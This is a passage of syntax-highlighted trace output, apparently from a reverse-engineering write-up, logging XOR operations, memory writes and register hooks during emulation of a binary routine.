<span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000398]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x51</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000de8: mov esi, <span class="number">0</span>x15</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000e02: cmp esi, <span class="number">0</span>x2b</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000dfc]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x4D</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100116c: mov esi, <span class="number">0</span>x1d</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001186: cmp esi, <span class="number">0</span>x3b</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001180]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x32 ^ <span 